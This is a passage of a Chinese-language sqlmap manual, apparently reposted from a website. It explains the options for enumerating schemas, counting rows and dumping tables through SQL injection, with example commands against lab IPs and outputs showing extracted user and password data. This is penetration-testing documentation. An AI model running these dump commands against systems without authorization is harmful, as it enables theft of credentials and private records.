sqlmap中文手册 (11)

在PostgreSQL中,数据库的名字一定是“public”或者是某个系统表
。因为在PostgreSQL中只能列举当前数据库或系统数据库中数据,而WEB应用连接的数据库别名总是“public”。

十三、列举数据库管理系统的模式

参数:–schema和–exclude-sysdbs

用户可用此选项列举数据库管理系统的模式。模式列表包含所有数据库、表、列、触发器和他们各自的类型。
同样地,可使用参数“–exclude-sysdbs”排除系统数据库。

下面是的例子测试对象是Mysql:

部分输出如下:

[...]

Database: mysql

Table: procs_priv

[8 columns]

+--------------+----------------------------------------+

| Column       | Type                                   |

+--------------+----------------------------------------+

| Timestamp    | timestamp                              |

| User         | char(16)                               |

| Db           | char(64)                               |

| Grantor      | char(77)                               |

| Host         | char(60)                               |

| Proc_priv    | set('Execute','Alter Routine','Grant') |

| Routine_name | char(64)                               |

| Routine_type | enum('FUNCTION','PROCEDURE')           |

+--------------+----------------------------------------+

[...]

Database: mysql

Table: ndb_binlog_index

[7 columns]

+-----------+---------------------+

| Column    | Type                |

+-----------+---------------------+

| Position  | bigint(20) unsigned |

| deletes   | bigint(20) unsigned |

| epoch     | bigint(20) unsigned |

| File      | varchar(255)        |

| inserts   | bigint(20) unsigned |

| schemaops | bigint(20) unsigned |

| updates   | bigint(20) unsigned |

+-----------+---------------------+

15.列举表中数据条数

参数:–count

有时我们只想知道有多少数据而不想知道具体的数据内容,此时就可以使用该参数。如:

  python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb

部分输出如下:

  Database: testdb

  +----------------+---------+

  | Table          | Entries |

  +----------------+---------+

  | dbo.users      | 4       |

  | dbo.users_blob | 2       |

  +----------------+---------+

16.列举表中数据

参数:–dump、-C、-T、-D、–start、–stop和–where

权限允许时可以列举表中数据。用参数“-D”指定数据库,用参数“-T”指定数据表,用参数“-C”指定目标列。
若只指定了数据表而没有指定数据库则默认使用当前数据库。若没有指定列则列举表中全部列。

下例是以Firebird为目标:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users

部分输出如下:

  Database: Firebird_masterdb

  Table: USERS

  [4 entries]

  +----+--------+------------+

  | ID | NAME   | SURNAME    |

  +----+--------+------------+

  | 1 | luther | blisset     |

  | 2 | fluffy | bunny       |

  | 3 | wu     | ming        |

  | 4 | NULL   | nameisnull  |

  +---+--------+-------------+

只使用参数“–dump”和“-D”可以一次性列举整个数据库中所有数据。

Sqlmap会自动将参数“–dump”列举的数据保存到CSV格式文件中,文件具体路径会在Sqlmap的输出中给出,如:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -D DSSchool --dump

部分输出为:

  [11:15:27] [INFO] analyzing table dump for possible password hashes

  Database: DSSchool

  Table: T_SCORESYSTEMTEACHERS

  [2 entries]

  +-----+----------+-------+---------+----------+

  | AGE | NAME     | TITLE | ACCOUNT | PASSWORD |

  +-----+----------+-------+---------+----------+

  | 21  | neo      | ??    | 001     | 001      |

  | 31  | morphine | ??    | 002     | 002      |

  +-----+----------+-------+---------+----------+

 

  [11:15:27] [INFO] table 'DSSchool.T_SCORESYSTEMTEACHERS' dumped to CSV file '/home/werner/.sqlmap/output/192.168.56.102/dump/DSSchool/T_SCORESYSTEMTEACHERS.csv'

截取的输出中最后一行便是CSV文件保存的路径。

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wpyxgg.html